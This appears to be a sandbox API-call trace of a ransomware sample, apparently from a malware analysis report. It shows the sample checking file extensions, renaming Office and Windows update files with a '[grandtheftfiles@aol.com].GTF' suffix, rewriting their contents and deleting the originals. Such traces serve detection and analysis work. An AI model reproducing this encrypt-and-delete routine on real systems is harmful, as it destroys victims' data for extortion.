	[0166.958] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31928.msp" (normalized: "c:\\program files\\microsoft office\\root\\integration\\qfe31928.msp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31928.msp.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\integration\\qfe31928.msp.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0
	[0166.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31928.msp") returned 63
	[0166.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31928.msp") returned 63
	[0166.958] lstrlenW (lpString=".doc") returned 4
	[0166.958] lstrcmpiW (lpString1=".doc", lpString2=".msp") returned -1
	[0166.958] lstrlenW (lpString=".docx") returned 5
	[0166.958] lstrcmpiW (lpString1=".docx", lpString2="8.msp") returned -1
	[0166.958] lstrlenW (lpString=".pdf") returned 4
	[0166.959] lstrcmpiW (lpString1=".pdf", lpString2=".msp") returned 1
	[0166.959] lstrlenW (lpString=".xls") returned 4
	[0166.959] lstrcmpiW (lpString1=".xls", lpString2=".msp") returned 1
	[0166.959] lstrlenW (lpString=".xlsx") returned 5
	[0166.959] lstrcmpiW (lpString1=".xlsx", lpString2="8.msp") returned -1
	[0166.959] lstrlenW (lpString=".ppt") returned 4
	[0166.959] lstrcmpiW (lpString1=".ppt", lpString2=".msp") returned 1
	[0166.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31928.msp") returned 63
	[0166.959] lstrlenW (lpString=".zip") returned 4
	[0166.959] lstrcmpiW (lpString1=".zip", lpString2=".msp") returned 1
	[0166.959] lstrlenW (lpString=".rar") returned 4
	[0166.959] lstrcmpiW (lpString1=".rar", lpString2=".msp") returned 1
	[0166.959] lstrlenW (lpString=".bz2") returned 4
	[0166.959] lstrcmpiW (lpString1=".bz2", lpString2=".msp") returned -1
	[0166.959] lstrlenW (lpString=".7z") returned 3
	[0166.959] lstrcmpiW (lpString1=".7z", lpString2="msp") returned -1
	[0166.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31928.msp") returned 63
	[0166.959] lstrlenW (lpString=".dbf") returned 4
	[0166.959] lstrcmpiW (lpString1=".dbf", lpString2=".msp") returned -1
	[0166.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31928.msp") returned 63
	[0166.959] lstrlenW (lpString=".1cd") returned 4
	[0166.959] lstrcmpiW (lpString1=".1cd", lpString2=".msp") returned -1
	[0166.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31928.msp") returned 63
	[0166.959] lstrlenW (lpString=".jpg") returned 4
	[0166.959] lstrcmpiW (lpString1=".jpg", lpString2=".msp") returned -1
	[0166.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31928.msp") returned 63
	[0166.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31928.msp") returned 63
	[0166.959] lstrlenW (lpString=".doc") returned 4
	[0166.959] lstrcmpiW (lpString1=".doc", lpString2=".msp") returned -1
	[0166.959] lstrlenW (lpString=".docx") returned 5
	[0166.959] lstrcmpiW (lpString1=".docx", lpString2="8.msp") returned -1
	[0166.959] lstrlenW (lpString=".pdf") returned 4
	[0166.959] lstrcmpiW (lpString1=".pdf", lpString2=".msp") returned 1
	[0166.959] lstrlenW (lpString=".xls") returned 4
	[0166.959] lstrcmpiW (lpString1=".xls", lpString2=".msp") returned 1
	[0166.959] lstrlenW (lpString=".xlsx") returned 5
	[0166.960] lstrcmpiW (lpString1=".xlsx", lpString2="8.msp") returned -1
	[0166.960] lstrlenW (lpString=".ppt") returned 4
	[0166.960] lstrcmpiW (lpString1=".ppt", lpString2=".msp") returned 1
	[0166.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31928.msp") returned 63
	[0166.960] lstrlenW (lpString=".zip") returned 4
	[0166.960] lstrcmpiW (lpString1=".zip", lpString2=".msp") returned 1
	[0166.960] lstrlenW (lpString=".rar") returned 4
	[0166.960] lstrcmpiW (lpString1=".rar", lpString2=".msp") returned 1
	[0166.960] lstrlenW (lpString=".bz2") returned 4
	[0166.960] lstrcmpiW (lpString1=".bz2", lpString2=".msp") returned -1
	[0166.960] lstrlenW (lpString=".7z") returned 3
	[0166.960] lstrcmpiW (lpString1=".7z", lpString2="msp") returned -1
	[0166.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31928.msp") returned 63
	[0166.960] lstrlenW (lpString=".dbf") returned 4
	[0166.960] lstrcmpiW (lpString1=".dbf", lpString2=".msp") returned -1
	[0166.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31928.msp") returned 63
	[0166.960] lstrlenW (lpString=".1cd") returned 4
	[0166.960] lstrcmpiW (lpString1=".1cd", lpString2=".msp") returned -1
	[0166.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31928.msp") returned 63
	[0166.960] lstrlenW (lpString=".jpg") returned 4
	[0166.960] lstrcmpiW (lpString1=".jpg", lpString2=".msp") returned -1
	[0166.960] lstrcmpiW (lpString1=".msi", lpString2=".GTF") returned 1
	[0166.960] lstrlenW (lpString="SPPRedist.msi") returned 13
	[0166.960] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi" (normalized: "c:\\program files\\microsoft office\\root\\integration\\sppredist.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534
	[0166.961] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=12640256) returned 1
	[0166.961] CloseHandle (hObject=0x534) returned 1
	[0166.961] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi" (normalized: "c:\\program files\\microsoft office\\root\\integration\\sppredist.msi")) returned 0x220
	[0166.961] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\integration\\sppredist.msi.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0166.961] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi" (normalized: "c:\\program files\\microsoft office\\root\\integration\\sppredist.msi"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\integration\\sppredist.msi.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0
	[0166.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi") returned 64
	[0166.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi") returned 64
	[0166.961] lstrlenW (lpString=".doc") returned 4
	[0166.961] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0166.961] lstrlenW (lpString=".docx") returned 5
	[0166.961] lstrcmpiW (lpString1=".docx", lpString2="t.msi") returned -1
	[0166.962] lstrlenW (lpString=".pdf") returned 4
	[0166.962] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0166.962] lstrlenW (lpString=".xls") returned 4
	[0166.962] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0166.962] lstrlenW (lpString=".xlsx") returned 5
	[0166.962] lstrcmpiW (lpString1=".xlsx", lpString2="t.msi") returned -1
	[0166.962] lstrlenW (lpString=".ppt") returned 4
	[0166.962] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0166.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi") returned 64
	[0166.962] lstrlenW (lpString=".zip") returned 4
	[0166.962] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0166.962] lstrlenW (lpString=".rar") returned 4
	[0166.962] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0166.962] lstrlenW (lpString=".bz2") returned 4
	[0166.962] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0166.962] lstrlenW (lpString=".7z") returned 3
	[0166.962] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0166.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi") returned 64
	[0166.962] lstrlenW (lpString=".dbf") returned 4
	[0166.962] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0166.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi") returned 64
	[0166.962] lstrlenW (lpString=".1cd") returned 4
	[0166.962] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0166.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi") returned 64
	[0166.962] lstrlenW (lpString=".jpg") returned 4
	[0166.962] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0166.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi") returned 64
	[0166.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi") returned 64
	[0166.962] lstrlenW (lpString=".doc") returned 4
	[0166.962] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0166.962] lstrlenW (lpString=".docx") returned 5
	[0166.962] lstrcmpiW (lpString1=".docx", lpString2="t.msi") returned -1
	[0166.962] lstrlenW (lpString=".pdf") returned 4
	[0166.962] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0166.962] lstrlenW (lpString=".xls") returned 4
	[0166.962] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0166.963] lstrlenW (lpString=".xlsx") returned 5
	[0166.963] lstrcmpiW (lpString1=".xlsx", lpString2="t.msi") returned -1
	[0166.963] lstrlenW (lpString=".ppt") returned 4
	[0166.963] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0166.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi") returned 64
	[0166.963] lstrlenW (lpString=".zip") returned 4
	[0166.963] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0166.963] lstrlenW (lpString=".rar") returned 4
	[0166.963] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0166.963] lstrlenW (lpString=".bz2") returned 4
	[0166.963] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0166.963] lstrlenW (lpString=".7z") returned 3
	[0166.963] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0166.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi") returned 64
	[0166.963] lstrlenW (lpString=".dbf") returned 4
	[0166.963] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0166.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi") returned 64
	[0166.963] lstrlenW (lpString=".1cd") returned 4
	[0166.963] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0166.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi") returned 64
	[0166.963] lstrlenW (lpString=".jpg") returned 4
	[0166.963] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0166.963] lstrcmpiW (lpString1=".msu", lpString2=".GTF") returned 1
	[0166.963] lstrlenW (lpString="Windows6.1-KB2999226-x64.msu") returned 28
	[0166.963] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows6.1-kb2999226-x64.msu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534
	[0166.965] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=1026422) returned 1
	[0166.965] CloseHandle (hObject=0x534) returned 1
	[0166.965] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows6.1-kb2999226-x64.msu")) returned 0x220
	[0166.965] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows6.1-kb2999226-x64.msu.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0166.965] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows6.1-kb2999226-x64.msu"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534
	[0166.966] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.966] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.966] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows6.1-kb2999226-x64.msu.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0166.969] GetLastError () returned 0x0
	[0166.969] ReadFile (in: hFile=0x534, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0xfa976, lpOverlapped=0x0) returned 1
	[0167.165] WriteFile (in: hFile=0x544, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0xfa980, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0xfa980, lpOverlapped=0x0) returned 1
	[0167.184] ReadFile (in: hFile=0x534, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0167.184] WriteFile (in: hFile=0x544, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x10c, lpOverlapped=0x0) returned 1
	[0167.185] SetEndOfFile (hFile=0x544) returned 1
	[0167.185] CloseHandle (hObject=0x544) returned 1
	[0167.185] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.185] SetEndOfFile (hFile=0x534) returned 1
	[0167.760] CloseHandle (hObject=0x534) returned 1
	[0167.760] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0167.760] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows6.1-kb2999226-x64.msu")) returned 1
	[0167.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu") returned 79
	[0167.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu") returned 79
	[0167.834] lstrlenW (lpString=".doc") returned 4
	[0167.834] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1
	[0167.834] lstrlenW (lpString=".docx") returned 5
	[0167.834] lstrcmpiW (lpString1=".docx", lpString2="4.msu") returned -1
	[0167.834] lstrlenW (lpString=".pdf") returned 4
	[0167.834] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1
	[0167.834] lstrlenW (lpString=".xls") returned 4
	[0167.834] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1
	[0167.834] lstrlenW (lpString=".xlsx") returned 5
	[0167.834] lstrcmpiW (lpString1=".xlsx", lpString2="4.msu") returned -1
	[0167.834] lstrlenW (lpString=".ppt") returned 4
	[0167.834] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1
	[0167.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu") returned 79
	[0167.834] lstrlenW (lpString=".zip") returned 4
	[0167.834] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1
	[0167.834] lstrlenW (lpString=".rar") returned 4
	[0167.834] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1
	[0167.834] lstrlenW (lpString=".bz2") returned 4
	[0167.834] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1
	[0167.834] lstrlenW (lpString=".7z") returned 3
	[0167.834] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1
	[0167.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu") returned 79
	[0167.834] lstrlenW (lpString=".dbf") returned 4
	[0167.835] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1
	[0167.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu") returned 79
	[0167.835] lstrlenW (lpString=".1cd") returned 4
	[0167.835] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1
	[0167.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu") returned 79
	[0167.835] lstrlenW (lpString=".jpg") returned 4
	[0167.835] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1
	[0167.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu") returned 79
	[0167.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu") returned 79
	[0167.835] lstrlenW (lpString=".doc") returned 4
	[0167.835] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1
	[0167.835] lstrlenW (lpString=".docx") returned 5
	[0167.835] lstrcmpiW (lpString1=".docx", lpString2="4.msu") returned -1
	[0167.835] lstrlenW (lpString=".pdf") returned 4
	[0167.835] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1
	[0167.835] lstrlenW (lpString=".xls") returned 4
	[0167.835] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1
	[0167.835] lstrlenW (lpString=".xlsx") returned 5
	[0167.835] lstrcmpiW (lpString1=".xlsx", lpString2="4.msu") returned -1
	[0167.835] lstrlenW (lpString=".ppt") returned 4
	[0167.835] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1
	[0167.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu") returned 79
	[0167.835] lstrlenW (lpString=".zip") returned 4
	[0167.835] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1
	[0167.835] lstrlenW (lpString=".rar") returned 4
	[0167.835] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1
	[0167.835] lstrlenW (lpString=".bz2") returned 4
	[0167.835] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1
	[0167.835] lstrlenW (lpString=".7z") returned 3
	[0167.835] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1
	[0167.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu") returned 79
	[0167.835] lstrlenW (lpString=".dbf") returned 4
	[0167.835] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1
	[0167.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu") returned 79
	[0167.836] lstrlenW (lpString=".1cd") returned 4
	[0167.836] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1
	[0167.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu") returned 79
	[0167.836] lstrlenW (lpString=".jpg") returned 4
	[0167.836] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1
	[0167.836] lstrcmpiW (lpString1=".msu", lpString2=".GTF") returned 1
	[0167.836] lstrlenW (lpString="Windows8-RT-KB2999226-x86.msu") returned 29
	[0167.836] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x86.msu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534
	[0167.838] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=615304) returned 1
	[0167.838] CloseHandle (hObject=0x534) returned 1
	[0167.838] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x86.msu")) returned 0x220
	[0167.838] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x86.msu.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0167.838] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x86.msu"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534
	[0167.839] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.839] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.839] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x86.msu.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0167.839] GetLastError () returned 0x0
	[0167.839] ReadFile (in: hFile=0x534, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x96388, lpOverlapped=0x0) returned 1
	[0168.118] WriteFile (in: hFile=0x540, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x96390, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x96390, lpOverlapped=0x0) returned 1
	[0168.130] ReadFile (in: hFile=0x534, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0168.130] WriteFile (in: hFile=0x540, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x10e, lpOverlapped=0x0) returned 1
	[0168.130] SetEndOfFile (hFile=0x540) returned 1
	[0168.130] CloseHandle (hObject=0x540) returned 1
	[0168.131] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.131] SetEndOfFile (hFile=0x534) returned 1
	[0168.518] CloseHandle (hObject=0x534) returned 1
	[0168.518] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0168.518] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x86.msu")) returned 1
	[0168.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu") returned 80
	[0168.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu") returned 80
	[0168.519] lstrlenW (lpString=".doc") returned 4
	[0168.519] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1
	[0168.520] lstrlenW (lpString=".docx") returned 5
	[0168.520] lstrcmpiW (lpString1=".docx", lpString2="6.msu") returned -1
	[0168.520] lstrlenW (lpString=".pdf") returned 4
	[0168.520] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1
	[0168.520] lstrlenW (lpString=".xls") returned 4
	[0168.520] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1
	[0168.520] lstrlenW (lpString=".xlsx") returned 5
	[0168.520] lstrcmpiW (lpString1=".xlsx", lpString2="6.msu") returned -1
	[0168.520] lstrlenW (lpString=".ppt") returned 4
	[0168.520] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1
	[0168.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu") returned 80
	[0168.520] lstrlenW (lpString=".zip") returned 4
	[0168.520] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1
	[0168.520] lstrlenW (lpString=".rar") returned 4
	[0168.520] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1
	[0168.520] lstrlenW (lpString=".bz2") returned 4
	[0168.520] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1
	[0168.520] lstrlenW (lpString=".7z") returned 3
	[0168.520] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1
	[0168.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu") returned 80
	[0168.520] lstrlenW (lpString=".dbf") returned 4
	[0168.520] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1
	[0168.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu") returned 80
	[0168.520] lstrlenW (lpString=".1cd") returned 4
	[0168.520] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1
	[0168.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu") returned 80
	[0168.520] lstrlenW (lpString=".jpg") returned 4
	[0168.520] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1
	[0168.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu") returned 80
	[0168.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu") returned 80
	[0168.520] lstrlenW (lpString=".doc") returned 4
	[0168.520] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1
	[0168.520] lstrlenW (lpString=".docx") returned 5
	[0168.521] lstrcmpiW (lpString1=".docx", lpString2="6.msu") returned -1
